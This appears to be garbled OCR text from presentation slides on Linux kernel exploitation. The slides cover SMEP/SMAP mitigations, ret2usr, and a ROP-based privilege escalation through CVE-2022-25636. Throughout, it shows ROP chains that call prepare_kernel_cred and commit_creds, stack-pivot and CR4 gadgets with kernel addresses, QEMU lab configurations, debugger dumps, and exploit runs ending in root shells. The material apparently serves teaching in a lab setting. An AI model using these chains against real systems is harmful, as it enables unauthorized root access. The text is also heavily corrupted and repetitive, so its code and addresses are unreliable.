fake_ops_addr 0x4031ec mov rsp
0x4031ef movabs prepare kernel_ cred <Oxffffffff810cec56>
user_get_shell 0x4031f9  xor rdi
0x4031fc call <prepare_kernel cred>
1 rdi: 0x0
movabs rax, 0x4031fe mov ra}x } o
0x403201 movabs commit_creds
<prepare_kernel_cred> 0x40320b  call
xor rdi, rdi 0x40320d swapgs
0x403210 mov qword ptr [0x40c8c0]
Ca” rax — | REGISTERS / show-flags off / show-compact-regs off |-
Ffffffff810cec50 J(p are_kernel _cred) <— nop dword ptr [rax + rax] /* 0xc@be550000441f0f */

J=

mov rdi, rax 00a6a5280

movabs rax,
<commit_creds>

call rax N prepare_kernel_cred oiig x @ vrax| éx 1 X | rdi 1 ec
swapgs; push <user_state>; " rax 3 e 0BJg X
et Ah @' x 71 prepare_kernel_cred(NULL)
USER_SPACE
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SMEP/SMAP

ret2usr

fake ops_addr

user_get_shell

!

movabs rax,
<prepare_kernel_cred>

xor rdi, rdi

call rax

mov rdi, rax

movabs rax,
<commit_creds>

call rax

swapgs; push <user_state>;
iretq

USER_SPACE

LEGEND: STACK | > | CODE | DATA | RWX | RODATA
C emutLate on
oxffffffff810ced9@ <prepare_kernel cred+320>
oxffffffff810ced92 <prepare_kernel_cred+322>
oxffffffff810ced93 <prepare_kernel_cred+323>
N
0x4031fe inax
0x403201 rax, commit_creds
0x40320b rax
rdi: Oxffffs8

0x40320d swapgs
0x403210 mov r15, qword ptr [0x40c8c0]
0x403218 push ris
0x40321a mov ri5, qword ptr [@x40dobs]
0x403222 push r15
| REGISTERS show-flags off show-com ipact regs o ff |

(commit_creds) «— nop dword ptr [rax + rax] /* ®x894855o@0®441f®f *x/

prepare_kernel_cred(NULL) t Gicred Y 3eprax| e+
At NOcredY " rdi Al QARI K QEM v'Q ec N
commit_creds ©ig x & vrax X rax

Ah @' x T commit creds( prepare kernel cred(NULL) )

48
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retzusr LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Oxffffffff810ced92 <prepare_kernel_cred+322> pop
oxffffffff810ced93 <prepare_kernel_cred+323> ret
fake ops_addr v
0x4031fe mov
user get sheII 0x403201 movabs commit creds
—~ = 0x40320b call
1 0x40320d swapgs
0x403210 mov qword ptr [0x40c8c0]
movabs rax, 0x403218 push
<prepare kernel cred> 0x40321a mov qword ptr [0x40d0ob8]
— — 0x403222 push
. . 0X403224 mov word ptr [0x40dobo]
xor rdi, rdi . :
call rax
asm__(
mov rdi, rax “.intel_syntax noprefix;"
movabs rax "mov user_cs, cs;"
: ! "mov user_ss, Ss;" Y A H ' =
<commit_creds> i i SET Swapgs QG | e 1 X N"t"g,/,\ 3eB
"’“O"h‘;sf?‘"—s"' il it A 0 @3 get shell QY a3 Al
Ca” rax pus ; H _, I~ © 4+ = Vi o,
a ; ;
e e e ez T Iretq h¥x a. T A oX 0Q
swapgs; push <user_state>; "_att_syntax;" [6]
iretq
USER_SPACE
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ret2usr

fake ops_addr

user_get_shell usergkernel:/tmp/share/Mitigation/SMEP/ret2usr/CVE-2022-25636%

gcc exploit.c fakefuse.c util.c -o ~/exploit -no-pie -I/usr/include/fuse -1fuse -pthread -lmnl -lnftnl
[*] STEP 1: Leak net_device
[+] net_device ptr->[0xffff8880097f1000 ]

movabs rax,
<prepare kernel cred> [*] STEP 2: Spray kmalloc-192, overwrite msg_msg.security ptr and free net_device
— — [+] net device struct freed
XCN'rdI,FdI [*] STEP 3: Realloc net_device with setxattr
[*] ethtool_ops->[0xffff8880097f1150]
call rax [+] obtained net_device struct
mov rdi, rax [*] STEP 4: rop :)
# id
movabs rax uid=0(root) gid=0(root) groups=0(root)
<commit_creds>
call rax user_get_shell 7110 How ol
swapgs; push <user_state>;
iretq
USER_SPACE
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CVE 2022 - 25636 N rovdaat 6-
kernel - space ret2dir

. 5 y 12 |

1 mov code to 10
kernel - space leak ksymtab

a - a

CVE 2022 - 0995

leak offset
{-------------‘
1 i -
12 4 ) 7 9 11

\------------’

CVE 2022 - 0185

getting root without
control - flow hijacking
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MU ™ x ret2usr

SMEP(Supervisor Mode Execution
Preventon ) ~ i L¢ @

Apgwv UJEA A’ shellcode

A 1 «prNE L Rb" "y B

_shellcode

SMAP(Supervisor Mode Access
Preventon ) =~ QQl¢ @

ApvUJJEALl T1Q0Q
A 1 « N/ QQY @Qwl
Qs X

SMAP/PAN

* Ret2usr (data control)

] 5]o)0 Yl PR—

Q. 0 o
% User Memory Kernel Memory § g, One Page Table
——"| '
Context Switch
SMEP/PXN Ret2usr (code control)

Yao, J., Zimmer, V. (2020). The Kernel. In: Building Secure
Firmware. Apress , Berkeley, CA. https://  doi.org /10.1007/978 -
1-4842-6106-4_16
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fake ops_addr

user_get_shell

!

movabs rax,
<prepare_kernel_cred>

xor rdi, rdi

call rax

mov rdi, rax

movabs rax,
<commit_creds>

call rax

swapgs; push <user_state>;
iretq

USER_SPACE

SMAP/PAN
Ret2usr (data control)
.
0 o 8 a
b4 @ | User Memory Kernel Memory| & || &
) m o ||l o

One Page Table

Context Switch

SMEP/PXN Ret2usr (code control)
Yao, J., Zimmer, V. (2020). The Kernel.
Firmware. Apress , Berkeley, CA. nhttps://

1-4842-6106-4 16

In:  Building Secure

doi.org

/10.1007/978 -
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SMEP/SMAP

E Y Jz25/ WA (ringd) Hi SMEBANE 7 AM Th « SMABA 7 AV "QQ

A h Hib"CPU'T . T AM b "E /QQ | 2 'HSMEP/SMAR ¢ A1 _
AA A W 2]

A gemua p -cpuv Qo I T +smep/+smap € A B

SMEP/SMAP Intel Y AQoé® T:- 61 . * CRAEg" 2021 H0 ®
A p ARM t i | SMEM Z PXN(Privileged eXecute Never )1 SMARZ
PAN(Privileged Access Never )
31(63) 22 21201918 1716 1514 13121110 9 8 7 6 5 4 3 2 1 0
S|S S|VIL|U
Reseved |k MM MiMiAIM| -GS R[S RS |v|m
E plp | ElElZ|P | E|IE|E|E|E D|I |E
CIIE‘;)‘ZS.M)’EJ |—OSFXSR
PCIDE FSGSBASE OSXMMEXCPT

https://en.wikipedia.org/wiki/Supervisor_Mode_Access_Prevention c



O b
1. 13

-» ROPgadget git: (

0xffffffff810387ec :

Oxffffffff810550a4

oxffffffff810550a2

Oxffffffff810550a6 :
Oxffffffff82f6390c :
Oxffffffff810387f2 :
oxffffffff810550al
Oxffffffff810387f0 :

A A X

» SMEP/SMAP >~ Te 1 X CR4 &+{ 1| AQ' @ 1 @CR®DI h
N SMEP/SMAP 7 [47]
d

T A'QQ>"E 1 Alh

") x grep 'mov cr4' ./kernel_gadgets
add byte ptr [rax], al ; add byte ptr [rax], al ; xor esi, esi ; mov cr4, rdi ; jmp Oxffffffff81038811

: add byte ptr [rax], al ; mov cr4, rax ; jmp Oxffffffff810550ab
Oxffffffff810387ee :

add byte ptr [rax], al ; xor esi, esi ; , rdi ; jmp Oxffffffff81038811

: add byte ptr [rax], dl ; add byte ptr [rax], al ; / , rax ; jmp oxffffffff810550ab

, rax ; jmp Oxffffffff810550ab

1, rbx ; add byte ptr ss:[rax], ch ; push rsp ; or ecx, dword ptr [rax] ; jmp Oxffffffff82f63955
4, rdi ; Jmp Oxffffffff81038811

: Oor eax, 0x1000 ; m “r4, rax ; jmp Oxffffffff810550ab

xor esi, esi ; mov crd4, rdi ; jmp Oxffffffff81038811
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fake ops_addr

user_get_shell usergkernel:/tmp/share/Mitigation/SMEP/ret2usr/CVE-2022-25636%

gcc exploit.c fakefuse.c util.c -o ~/exploit -no-pie -I/usr/include/fuse -1fuse -pthread -lmnl -lnftnl
[*] STEP 1: Leak net_device
[+] net_device ptr->[0xffff8880097f1000 ]

movabs rax,
<prepare kernel cred> [*] STEP 2: Spray kmalloc-192, overwrite msg_msg.security ptr and free net_device
— — [+] net device struct freed
XCN'rdI,FdI [*] STEP 3: Realloc net_device with setxattr
[*] ethtool_ops->[0xffff8880097f1150]
call rax [+] obtained net_device struct
mov rdi, rax [*] STEP 4: rop :)
# id
movabs rax, uid=0(root) gid=0(root) groups=0(root)
<commit_creds>
call rax user_get_shell T 11 Hw ol

A K& A SMAP SMEB

swapgs; push <user_state>;
iretq

USER_SPACE
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SMEP/SMAP

T gemu-system-x86_64
-Ccpu gemu6s,+smap |\
-enable-kvm \
fake ops_addr _snapshot \
-m 2G \
user_get_shell “smp 2 \
-kernel ${KERNEL} \
1 -append "nokaslr console=ttyS@ root=/dev/sda earlyprintk=serial net.ifnames=0 noexec=off" '
-drive file=${HDA}, format=raw \
movabs rax, -net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 \
<prepare_kernel_cred> -net nic,model=e1000 \
-nographic \
xor rdi, rdi -fsdev local,security_model=passthrough,id=fsdev0,path=${LINUX} \
-device virtio-9p-pci,id=fs0,fsdev=fsdev@,mount_tag=hostlinux \
call rax -fsdev local,security_model=passthrough,id=fsdevl,path=${SHARE} \
-device virtio-9p-pci,id=fsl,fsdev=Ffsdevl,mount_tag=hostshare \
mov rdi, rax -pidfile vm.pid \
2>61 | tee vm.log
movabs rax,
<commit_creds>
call rax Z A ; | ~ A A k [4]
€ A SMAR p /proc/cpuinfo Al @ SMAP6O A
swapgs; push <user_state>;
iretq
USER_SPACE
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SMEP/SMAP

usergkernel:/tmp/share/Mitigation/SMEP/ret2usr/CVE-2022-25636$ ./run.sh

gcc exploit.c fakefuse.c util.c -o ~/exploit -no-pie -I/usr/include/fuse -1fuse -pthread -lmnl -lnftnl
[*x] STEP 1: Leak net_device

[+] net_device ptr->[0xffff888009ddf000 ]

fake ops_addr

[*] STEP 2: Spray kmalloc-192, overwrite msg_msg.security ptr and free net_device
[+] net_device struct freed

user_get_shell
l' STEP 3: Realloc net_device with setxattr

ethtool_ops->[0xffff888009ddf150]
obtained net_device struct

movabs rax, STEP 4: rop :)
<prepare kerne| cred> 64.980219] BUG: TASK stack guard page was hit at 00000000473e000f (stack is 0000000043251all..00000000acb8a0d5b)
- - 64.980219] stack guard page: 0000 [#1] SMP NOPTI
. . 64.980219] CPU: © PID: 321 Comm: exploit Not tainted 5.13.19 #33
xor rdi, rdi
call rax “moVv. rl5, lser ssi;*
_ EpUShErlSEe
mov rdi, rax

“mov rl5, user_sp;"

movabs rax, “push r15;"° push <user_state> T Hi
<commit_creds> n " N i~
mov rl5, user_rflags; cpy 4 1AM Q0 | A
call rax "push ri5;" PF(Page Fault) 1~ SMAR z g
swapgs; push <user_state>; “mov rl5, user_cs;" QQ 'H ret2usr @

iretq "push ri15;
"“mov rl5, user_rip;"”
“push ri5;

USER_SPACE
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SMEP/SMAP

------------\

CVE 2022 - 25636 If 2 kmov ldata to :
| ernel - space ret2dir
\

1 4
mov code to
kernel - space leak ksymtab

a - a

CVE 2022 - 0995

leak offset

2 4 7 9 11

CVE 2022 - 0185

getting root without
control - flow hijacking

59



SMEP/SMAP

user_ss

user_sp

user_rflags

user_cs

user_rip

fake ops_addr

user_get_shell

!

mov r14, <dev>+0x8

mov rl5, [r14]

push rl5

...; iretq

~
name ~
<attr>
fake=ops=ad3 r
<func> = 0Xxc8
ethtool_ops
begin
/
<func> /
/
/
/

USER_SPACE

d

kmalloc - 4k

setxattr

setxattr(net_device)

setxattr
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user_ss

user_sp

user_rflags

user_cs

user_rip

fake ops_addr

user_get_shell

!

mov r14, <dev>+0x8

mov rl5, [r14]

push rl5

...; iretq

USER_SPACE

LEGEND: STACK HE, . T/ RODATA
' —[ DISASM /
0x407295

Ox407297
Ox40729a movabs
Ox4072a4 call

commit_creds

0Xx4072a6 swapgs

0x4072a9 movabs Oxffff88800bcdb008
0x4072b3 mov r15, qgword ptr [ri4]
0x4072b6 push ri5

0x4072b8 movabs rl4, Oxffff88800bcdb010
Ox4072c2 mov ri5, qword ptr [ri4]
Ox4072c5 push 15

AL

x86-64 / set

FFFF810ce750>

pwndbg> x/10xw Oxffff88800bcdb008

0x0000002b
VXxX00000202
Vx00403e3a

0x00000000
0x000000V00
0x00000000

Oxffff88800bcdb008:

k <dev>+0x8 ADI ©K 3 & user_ss
user_ cs  user_rip

user_sp

0x00007fff
¥x0V0LLLLO

0x399ea/40
0x000V0VO33

user_rflags
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user_ss

user_sp

user_rflags

user_cs

user_rip

fake ops_addr

user_get_shell

!

mov r14, <dev>+0x8

mov rl5, [r14]

push rl5

...; iretq

USER_SPACE

userakernel:/tmp/share/Mitigation/SMEP/bypass_SMAP/CVE-2022-25636$ ./run.sh
gcc -z execstack exploit.c fakefuse.c util.c -o ~/exploit -no-pie -I/usr/include/fuse -1fuse -pthread -lmnl -lnftnl
[ 29.348174] process '/home/user/exploit' started with executable stack

STEP 1: Leak net_device

net_device ptr->[0xffff88800ab8a000 ]

[*] STEP 2: Spray kmalloc-192, overwrite msg_msg.security ptr and free net_device
[+] net_device struct freed

STEP 3: Realloc net_device with setxattr

* ]
*] ethtool_ops->[0xffff88800ab8a150]
+] obtained net_device struct

[*] STEP 4: rop :)

# id

uid=0(root) gid=0(root) groups=0(root)

# grep smap /proc/cpuinfo

flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pse36 clflush mmx fxsr sse sse2 syscall nx
flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pse36 clflush mmx fxsr sse sse2 syscall nx

~

iretq Ha'™ 6 Q

T ATOEI K/ M 8 Al ed
OT AV QQ I @ a1 1 SMAP |
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user_ss
gemu-system-x86_64 \
-Cpu gemub64,+smep |\
-snapshot
-m 2G \
user_cs -smp 2\
~-kernel ${KERNEL} \
user_rip -append "nokaslr console=ttyS® root=/dev/sda earlyprintk=serial net.ifnames=0" \
~-drive file=${HDA}, format=raw \
-net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 \
-net nic,model=el000 \
-nographic \
user_get_shell -fsdev local,security_model=passthrough,id=fsdev@,path=${LINUX} \
I -device virtio-9p-pci,id=fs0@,fsdev=fsdev@,mount_tag=hostlinux \
-fsdev local,security_model=passthrough,id=fsdevl,path=${SHARE} \
-device virtio-9p-pci,id=fsl,fsdev=fsdevl,mount_tag=hostshare '
-pidfile vm.pid \

€ A SMEPR p /proc/cpuinfo Al @ 7 SMEPOAK 14

user_sp

user_rflags

fake ops_addr

I
I
I
I
1
I
|
I
|
|
|
|
|
|
|
|
|
1
1
1
1
1
1
1
1
\

—— Agemwmnn ®nh AAI p VIMAT ~
flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat
U 9 pse36 clflush mmx fxsr sse sse2 syscall nx lm nopl cpuid pni cx16 hypervisor lahh

USER SPACE f_1m svm 3dnowprefetch vmmcall @




user_ss

user_sp

user_rflags

user_cs

user_rip

fake ops_addr

user_get_shell

)1(«

mov r14, <dev>+0x8

mov rl5, [r14]

push rl5

...; iretq

USER_SPACE

usergkernel:/tmp/share/Mitigation/SMEP/ret2usr/CVE-2022-25636% ./run.sh
exploit.c fakefuse.c util.c -o ~/exploit -no-pie -I/usr/include/fuse -1fuse -pthread -lmnl -lnftnl
STEP 1: Leak net_device
net_device ptr->[0xffff88800aa30000]

STEP 2: Spray kmalloc-192, overwrite msg_msg.security ptr and free net_device
net_device struct freed

STEP 3: Realloc net_device with setxattr
ethtool_ops->[0xffff88800aa30150 ]
obtained net_device struct

STHEPRA - ropE:))
;.2222251 ypable to execute userspace code (SMEP?) (uid: 1000)
.284992] BUG: unable to handle page fault for address: 00000000004031e7
.284992] #PF: supervisor instruction fetch in kernel mode
.284992] #PF: error_code(@0x0011) - permissions violation

user_get_shell THiCcPy 4 1AM Y, E 1 A
PF(PageFault) 1 " SMER 2 p "Ym,"E 'H ret2usr @
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CVE 2022 - 25636

1

CVE 2022 - 0995

A

|
: S emel - space

3

mov data to

3

A ,-----------~

mov code to

ﬁ-----*-----

SMAP SMEP

CVE 2022 - 0185

6
kernel - space

leak offset

10

leak ksymtab

2 4

FG KASLR

9

f lip CR3 register

12 1

a

11

getting root without
control - flow hijacking
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pop rdi ; ret

0x0

prepare_kernel_cred

pop rcx ; ret

0Ox4

cmp rcx, 4, jne $addr ;
pop rbp ; ret

Oniiiiiiii

mov rdi, rax ; jne addr ;
X0or eax, eax : ret

commit_creds

pop rax ; ret

<new_rax_for_rsp>

swapgs ; ... ; iretq
UXU
0x0
get_shell

<user_state>

fake _ops_addr

<stack pivot_gadget>

ROP

( W7X)
~
~
name ~
<attr>
fake=ops=ad3 r
<func> = 0Xxc8
ethtool_ops
begin
/
<func> /
/
/
/
y

d

kmalloc - 4k

setxattr

setxattr(net_device)

setxattr
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pop rdi ; ret

0x0

prepare_kernel_cred

pop rcx ; ret

0Ox4

cmp rcx, 4, jne $addr ;
pop rbp ; ret

Oniiiiiiii

mov rdi, rax ; jne addr ;
X0or eax, eax : ret

commit_creds

pop rax ; ret

<new_rax_for_rsp>

swapgs ; ... ; iretq
O0x0
0x0
get_shell

<user_state>

fake _ops_addr

<stack pivot_gadget>

LEGEND: STACK

Oxffffffff8la86f2e
> OxFfffffff81a86f31
rdi:
rsi:
rdx: 0x4
rex: ox1

oxffffffff81a86f36
oxffffffff81a86f39
oxffffffff81a86f3b

Oxffffffff8la86f4l
Oxffffffff81a86f45
Oxffffffff8la86f4c
Oxffffffff8la86f4f

OxFfffffff81a86f51
oxffFffff8la86f54

RAX
RBX
RCX
RDX

*RDI

DE | DATA | RwX | RODATA

<dev_ethtool+206>
<dev_ethtool+209>

mov

call Xx86_indirect_thunk_rax

p09f84000 «— insb byte ptr [rdi], dx /* 0x6fec; "L[o°

«— 0

<dev_ethtool+214>
<dev_ethtool+217>
<dev_ethtool+219>

<dev_ethtool+225>
<dev_ethtool+229>
<dev_ethtool+236>
<dev_ethtool+239>

<dev_ethtool+241>

<dev_ethtool+244>

ri15d, eax
eax, eax
dev_ethtool+560

ecx, dword ptr [rsp

rbx, qword ptr [ri14 + 0xe0]

@ J]«— insb byte ptr [rdi], dx /* 0x6f6c; 'lo' */

"E dev- >ethtool ops

A rdi 3¢&°Yb devigEiy

- >begin(dev)
A rax 3 é ©g x stack pivot_gadget

0BJg X

‘ect

thunk rax
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IR B c:10: S7ack | AP | CODE | DATA | R | RoDATA

———|[ DISASM / x86-64 / set emulate on ]—

» OxFFFfffff82002360 <_ x86_indirect_thunk_rax> 1fence

prepare_kernel_cred Oxffffffff82002363 <__x86_indirect_thunk_rax+3> jmp rax

i;ret

0x0

—— v

Oxffffffff8120fed5 <bpf_iter_link_show_fdinfo+69. push rdi

OxfFFfffff8120fed6 <bpf_iter link_show_fdinfo-70> and eax, 0x415b0odf
TR T o[ Oxffffffff8120fe0b

<bpf_iter_link_show_fdin{o+75> pop rsp
Oxffffffff8120fedc <bpf_iter_link_show_fdinfo+76> pop rbp
Oxffffffff8120fedd <bpf_iter_link_show_rdinfo+77> ret
J
mov rdi, rax ; jne addr ; Oxffffffff8108f980 <__enc_copy+128&: pop rdi
. Oxffffffff8108f981 <__enc_copy+129> ret
4
Oxffffffff810cec50 <prepare_kernel_cred> nop dword ptr [rax + rax]
pop rax ; ret oxffffffff8l@cec55 <prepare_kernel_cred+5> push  rbp
[ REGISTERS / show-flags off / show-compact-regs off ]——
<new_rax_for_rsp> RAX Oxffffffff8120fe05 (bpf_iter link_show_fdinfo+69) «— push rdi /x @x5d5c415b00df2557 */
RCX 0x1
0x0 RDX 0x4
0x0 RDI 0xffff888009f84000 «— insb byte ptr [rdi], dx /* @x6f6c; 'lo’ */

commit_creds

get_shell o i ‘
<user_state> ___x86_indirect_thunk_rax | |
fake_ops_addr A jmp  rax A"Yb @iy J 1 o "E stack pivot_gadget

<stack pivot_gadget>




pop rdi ; ret

0x0

prepare_kernel_cred

pop rcx ; ret

0Ox4

cmp rcx, 4, jne $addr ;
pop rbp ; ret

Oniiiiiiii

mov rdi, rax ; jne addr ;
X0or eax, eax : ret

commit_creds

pop rax ; ret

<new_rax_for_rsp>

swapgs ; ... ; iretq
O0x0
0x0
get_shell

<user_state>

fake ops_addr

<stack pivot_gadget>

LEGEND: STACK

Oxffffffff82002360 <__x86_indirect_thunk_rax>

RODATA
-[ DISASM / x86-64 / se

Lfence

OxFEFfffff82002363 < x86_indirect_thunk_ rax+3> jmp rax

L

» OXFFFFFfff8120fe05 <bpf_iter link_show_fdinfo+69> push rdi

Oxffffffff8120fe@6 <bpf_iter_ Tlink_show_fdinfo+70> and eax, @x415boodf

Oxffffffff8120fed@b <bpf_iter_link_show_fdinfo+75> Pop T'Sp
oxffffffff8120fedc <bpf_iter_link_show_fdinfo+76> pop rbp
Oxffffffff8120fedd <bpf_iter_link_show_fdinfo+77> ret

J

Oxffffffff8108f980@ <__enc_copy+128> pop rdi
OxFFffffff8108f981 <__enc_copy+129> ret

4

Oxffffffff81l0cec50 <prepare_kernel_cred> nop

dword ptr [rax + rax]

Oxffffffff81l0cec55 <prepare_kernel_cred+5> push rbp

-» ROPgadget git:(master) X grep oxffffffff8120fed5 kernel_gadgets

OxfFffffff8120fe0d5 :

stack_pivot _gadget
M "E "Ym
A rdi "Yb devi

push rdi ; and eax, 0x415b@@df ; pop rsp ; pop rbp ; ret
Nrdi B©A ' B X o/

1 "Hdevigiy k A’ )
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LEGEND: STACK | HEAP | CODE | DATA | RwX | RODATA

[ DISASM / x86-64 / set emulate on ]
Oxffffffff82002360 <__ x86_indirect_thunk_rax> 1fence
Oxffffffff82002363 <__x86_indirect_thunk_rax+3> jmp rax
N2
Oxffffffff8120fed5 <bpf_iter_link_show_fdinfo+69> push rdi
Oxffffffff8120fe06 <bpf_iter_link_show_fdinfo+70> and eax, 0x415boodf
bxffffffff8120fedb <bpf_iter_link_show_fdinfo+75> pop rsp

~> AXSFFFFFff8120fedc <bpf_iter_ link_show_fdinfo+76> pop rbp
Oxf1ffffff8120fedd <bpf_iter_link_show_fdinfo+77> ret

N

Axt 181081980 <__enc_copy+128> pop rdi
Oxffvfff8108f981 <__enc_copy+129> ret

J

Oxcfrff1f1810cec50 <prepare_kernel_cred> nop dword ptr [rax + rax]
0, f1ffiff8lbcec55 <prepare_kernel_cred+5> push  rbp

[ STACK ]
00:0000; rdi vla rsp|Oxffff888009f84000 insb byte ptr [rdi], dx|/x @x6f6c; 'lo' x/
01:000% Oxffff888009f84008 Oxffffffff8108f980 (__enc_copy+128) «— pop
02:0010 Oxfff{888009f84010 0

03:0018 Oxffff888009f84018 Oxffffffff810cec50 (prepare_kernel cred) «-
0441f0f */

04:0020 | Oxffff888009184020 Oxffffffff81032c34 (trace_event_raw_event_}
/* 0x841f0f6620c253 */

05:0028 Oxffff888009f84028 «— &
06:0030 Oxffff888009f84030 Oxffffffff810779bb (Eg@@_ﬁg_overflow;handls
*/

07:@038| Oxffff888009f84038 Oxffffffffffffffff




€r7): SMEP/SMAP

_ LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

= —— [ DISASM / x86-64 / set emulate on ]

Oxffffffff82002363 < x86_indirect_ thunk_ rax+3> jmp rax

prepare_kernel_cred N

i ;ret
0x0
AxFfffffff8120fed5 <bpf_iter_link_show_fdinfo+69> push rdi
pop ! Ox < fffffff8120fe06 <bpf_iter_link_show_fdinfo+70> and eax, 0x415boodf
Oxffifffff8120fedb <bpf_iter link_show_fdinfo+75>  pop  rsp
€ saadr Oxffffreff8120fedc <bpf_iter_link_show_fdinfo+76> pop rbp
oxfffffft8120fedd <bpf_iter_link_show_fdinfo+77> ret

J
mov rdi, rax; jne $addr; Oxffffffff8108f920 <__enc_copy+128> pop  rdi
: Oxffffffff8108f981 <__enc_copy+129> ret
commit_creds N2
oxffffffff81@cec50 <prepare_kernel_cred> nop dword ptr [rax + rax]
Oxffffffff81l0cec55 <prepare_kernel_cred+5> push rbp
<new_rax_for_rsp> Oxffffffff810cec56 <prepare_irernel_cred+6> mov esi, 0xccO
. [ STACK ]
swapgs; ... ; Iretq :0000| rsp Oxffff888009f84008 —| Oxffffffff8108f980 |(_ enc_copy+128) «— pop rdi /* @xccc

0x0 :0008 OxfFff888009f84010 «— 0

pop rax ; ret

0x0 -»> ROPgadget git:(master) X grep Oxffffffff8108f980 kernel gadgets
get_shell Oxffffffff8108f980 : pop rdi ; ret

<user_state> : - S e
= poprbp Ndev->namea, @ 1 % Hrsp "YPb oBig k m

pop rdi; ret 0BJg X
A ret a. rsp a 9k X

fake ops_addr
<stack pivot_gadget>




SMEP/SMAP

pop rdi ; ret LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x0 _— T DISASM / x86-64 / se
K | Oxffffffff8120fed5 <bpf_iter_link_show_fdinfo+69> push
prepare_kernel_cred Oxffffffff8120fe®6 <bpf_iter_link_show_fdinfo+70> and eax, 0x415boodf
pop rcx ; ret Oxffffffff8120fedb <bpf_iter_link_show_fdinfo+75> pop rsp
Oxffffffff8120fedc <bpf_iter_link_show_fdinfo+76> pop rbp
Ox4 Oxffffffff8120fedd <bpf_iter_link_show_fdinfo+77> ret
cmp rcx, 4 ; jne addr ; \)
pop rbp ; ret oxffFfffff8108f980 <__enc_copy+128> pop rdi
Oiitiiiiiiiiiiiii oxffffffff8108f981 <__enc_copy+129> FEi
MoV rdI, rax ;. Jne $addr N
YOr eax. eax - ret Oxffffffff810cec50 <prepare_kernel_cred> nop dword ptr [rax + rax]
— d oxffffffff81l0cec55 <prepare_kernel_cred+5> push rbp
commit_creds Oxffffffff81l0cec56 <prepare_kernel_cred+o> mov esi, 0xccoO
pop rax ; ret Ooxffffffff81@cec5b <prepare_kernel_crzd+11> mov rbp, rsp
- [ STACK ]-
<new_rax_for_rsp> -= 00:0000 -
swapgs ; ... ; iretq : 01:0008 Oxffff888 +018 )xffffffff810cec50 |(prepare_kernel_cred) «— nop dword
1
0x0 | _ 5 _ _ 5
0%0 1 poprdi x' a, O rdi 1 ret WKa, prepare_kernel _cred
get_shell § % X
<user_state> Ah o wmy 1 prepare_kernel cred(NULL)

fake ops_addr

<stack pivot_gadget>
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pop rdi ; ret

0x0

prepare_kernel_cred

pop rcx ; ret

0x4

cmp rcx, 4 ; jne addr ;
pop rbp ; ret

i

mov rdi, rax ; jne addr ;
X0or eax, eax : ret

commit_creds

pop rax ; ret

<new_rax_for_rsp>

swapgs ; ... ; iretq
0x0
0x0
get_shell

<user_state>

fake _ops_addr

<stack_pivot_gadget>

R prepare_kernel cred 8l O |
A rsp A B8 k "YP pop rex ; ret
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